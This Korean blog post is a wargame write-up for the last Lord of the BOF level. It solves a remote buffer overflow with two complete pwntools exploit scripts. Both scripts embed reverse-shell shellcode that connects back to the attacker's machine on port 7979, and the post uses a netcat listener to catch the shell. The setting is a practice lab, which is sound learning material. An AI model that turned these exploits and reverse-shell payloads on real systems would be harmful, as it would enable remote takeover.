ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • [LOB] Xavius -> Death_knight Write-up
    표튜터와 함께하는 Pwnable/The Lord Of the BOF Write-up 2019. 3. 24. 16:42


    혹시나 이상하거나 잘못된 것이 있다면 댓글 부탁드립니다.



    드디어 마지막 문제이다! 코드를 보도록 하자!!

    힌트는 Remote BOF이다. 버퍼의 크기는 40인데 입력할 수 있는 크기는

     256이므로 아주 쉽게 BOF취약점을 가진 코드를 찾을 수 있다.


    이제 이 코드를 어떻게 이용하느냐에 따라 이 문제를 풀 수 있을 것 같다.

    우선 프로그램을 실행시켜보겠다!


    참고로 나는 두 가지 방법으로 풀기위해서 포트번호가 6667로 

    death_knight파일을 하나 더 빌드해놓았다.



    또잉?? 이미 실행중이다..



    실행 중인 것을 확인했다. 소스코드에서 해당 포트번호가 6666이란걸 알았기때문에 접속해보도록 하겠다.



    일단은 포트 6667파일로 실행시켜보았다.

    입력창이 나왔고 버퍼에 값을 입력할 수 있었다.







    이 입력(recv)을 이용해서 공격을 진행할 수 있는데 위에서 말했듯이 두 가지 방법이 있다.


    1. Reverse Shellcode 사용하기

    2. Shellcode & ltrace 사용하기




    1. Reverse Shellcode 사용하기


    1번부터 진행해보도록 하겠다. 우선 Reverse Shellcode를 생성해보겠다.

    pead의 shellcode generate기능을 이용하면 간편하게 만들 수 있다~

    해당 Shellcode는 서버가 7979포트로 나의 pc에 접속하게 만드는 Shellcode이다.

    다만든 Shellcode를 이용해서 쉘코드를 짜보도록 하자!!



    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    from pwn import *
     
    shell="\x31\xdb\x53\x43\x53\x6a\x02\x6a\x66\x58\x89\xe1\xcd\x80\x93\x59"\
        "\xb0\x3f\xcd\x80\x49\x79\xf9\x5b\x5a\x68\xc0\xa8\x01\x70\x66\x68"\
        "\x1f\x2b\x43\x66\x53\x89\xe1\xb0\x66\x50\x51\x53\x89\xe1\x43\xcd"\
        "\x80\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53"\
        "\x89\xe1\xb0\x0b\xcd\x80"
     
     
     
    for i in range (0xFF,0x00,-1):
        for j in range(0x00,0xFF,10):
            p = remote("192.168.1.58",6666)
            print str(hex(u32(chr(j)+chr(i)+"\xff\xbf")))
            payload = "A"*44
            payload += chr(j)+chr(i)+"\xff\xbf"
            payload += "\x90"*100
            payload += shell
            print p.recvuntil("You : ")
            p.send(payload)
            p.close()
    cs

    서버 프로그램이 때문에 쉘코드가 저장된 버퍼의 정확한 주소를

     알기 어려워서 ret값을 정확히 줄 수가 없다.

    그러므로 Brute force하도록 exploit 코드를 짜야한다.

    0xBFFF0000을 생각하고 하위 4Byte만 Brute Force하였다.


    해당 코드를 작동시키기 전에 서버가 나의 7979포트로 접속하도록 만든
    Shellcode이기 때문에 
    7979 포트를 열어놓고 기다려야한다.


    < nc -lvp 7979로 대기중 > 

    아래의 그림처럼 코드가 실행되면서 Brute Force가 진행되면서 쉘이 따진다.



    < exploit코드 실행 중 >




    2. Shellcode & ltrace 사용하기

    전제조건이 있는데 바로 서버가 fork를 사용해야한다는 것이다. 우선 복사본에
    ltrace -f 명령어를 이용해서 fork를 사용하는지 확인해보자.

    복사본을 서버프로그램을 실행시킨 뒤, 해당 서버프로그램에 접속했더니

    또잉~ 바로 버퍼의 주소가 바로보이고 fork를 사용한다는 것도 확인할 수 있었다.

    버퍼의 주소가 0xbffffac0임을 알았으니 여기에 buffer + sfp(4) + ret(4)를 하면

    0xbffffaf0가 되고 이곳에  Reverse Shellcode를 넣어주고 ret를 0xbffffaf0으로 주면

    Shellcode가 실행될고 쉘이 따질 것이다!

    이 방법을 사용하면  버퍼의 정확한 위치를 알 수 있기 때문에 Brute force가 필요없다!



    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    from pwn import*
     
     
    shell="\x31\xdb\x53\x43\x53\x6a\x02\x6a\x66\x58\x89\xe1\xcd\x80\x93\x59"\
        "\xb0\x3f\xcd\x80\x49\x79\xf9\x5b\x5a\x68\xc0\xa8\x01\x70\x66\x68"\
        "\x1f\x2b\x43\x66\x53\x89\xe1\xb0\x66\x50\x51\x53\x89\xe1\x43\xcd"\
        "\x80\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53"\
        "\x89\xe1\xb0\x0b\xcd\x80"
     
    = remote ("192.168.1.58",6666)
    payload = "\x90"*44
    payload += "\xf0\xfa\xff\xbf"
    payload += shell
    p.recvuntil("You : ")
    p.send(payload)
    p.close()
     
     
     
    cs
    이런식으로 exploit 코드를 짜고 아까처럼 포트를 열어 기다려보자~


    코드를 실행했더니~


    쉘이 넘어왔다~


    이제 원본 서버프로그램에서 진행해보자.

    kill 명령어를 이용해서 실행중이었던 death_knight를 끄고 다시 위처럼 실행했다.


    깔끔하게 쉘이 넘어왔다~~



    짝짝짝~~~~ 이것으로  드디어 LOB가 모두 끝났다. 

    꿀팁과 정확한 개념을 잡도록 도와준 py0zz1에게 감사한다


    ~ 끝 ~


    반응형

    댓글

Designed by Tistory.